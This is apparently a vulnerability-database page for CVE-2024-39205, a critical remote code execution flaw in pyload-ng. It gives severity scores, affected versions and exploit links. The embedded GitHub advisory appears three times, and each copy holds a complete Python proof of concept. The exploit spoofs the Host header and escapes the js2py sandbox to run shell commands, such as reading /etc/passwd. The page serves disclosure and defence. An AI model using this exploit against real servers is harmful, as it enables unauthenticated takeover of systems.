CVE-2024-39205
pyload-ng vulnerable to RCE with js2py sandbox escape
An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.
- Record
CVE-2024-39205- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
EUVDEUVD-2024-2864
9.8
An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.
- Record
EUVD-2024-2864- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-r9pp-r4xf-597r
9.3
pyload-ng vulnerable to RCE with js2py sandbox escape
Summary
Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.
Details
js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.
PoC
The PoC is provided as poc.py below, you can modify the shell command it execute:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
Impact
Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.
- Record
GHSA-r9pp-r4xf-597r- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
9.8
An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.
- Record
CVE-2024-39205- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVGHSA-r9pp-r4xf-597r
9.3
pyload-ng vulnerable to RCE with js2py sandbox escape
Summary
Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.
Details
js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.
PoC
The PoC is provided as poc.py below, you can modify the shell command it execute:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
Impact
Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.
- Record
GHSA-r9pp-r4xf-597r- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVPYSEC-2026-499
9.3
pyload-ng vulnerable to RCE with js2py sandbox escape
Summary
Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.
Details
js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.
PoC
The PoC is provided as poc.py below, you can modify the shell command it execute:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()
Impact
Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.
- Record
PYSEC-2026-499- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pyload-ngPyPI |
through 0.5.0b3.dev85 | None known |
pyload-ngPyPI |
through 0.5.0b3.dev85, plus listed versions 0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537 Show 45 moreShow less0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34 |
None known |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Metasploit | Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397) | 2024-10-28 |
| PoC in GitHub | Marven11/CVE-2024-39205-Pyload-RCE | 2024-10-26 |
| PoC in GitHub | btar1gan/exploit_CVE-2024-39205 | 2025-12-23 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, Metasploit, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-39205 is a critical vulnerability (CVSS 9.8) in Pyload-ng Project Pyload-ng, published September 9, 2024. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 16.5%, the 97th percentile. No source names a fixed version.
References
github.com/pyload/pyload
github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r
github.com/Marven11/CVE-2024-39205-Pyload-RCE/tree/main
github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape
github.com/advisories/GHSA-h95x-26f3-88hr
nvd.nist.gov/vuln/detail/CVE-2024-39205
github.com/advisories/GHSA-r9pp-r4xf-597r
pypi.org/project/pyload-ng
Left out here: 40 versions. The JSON record has them.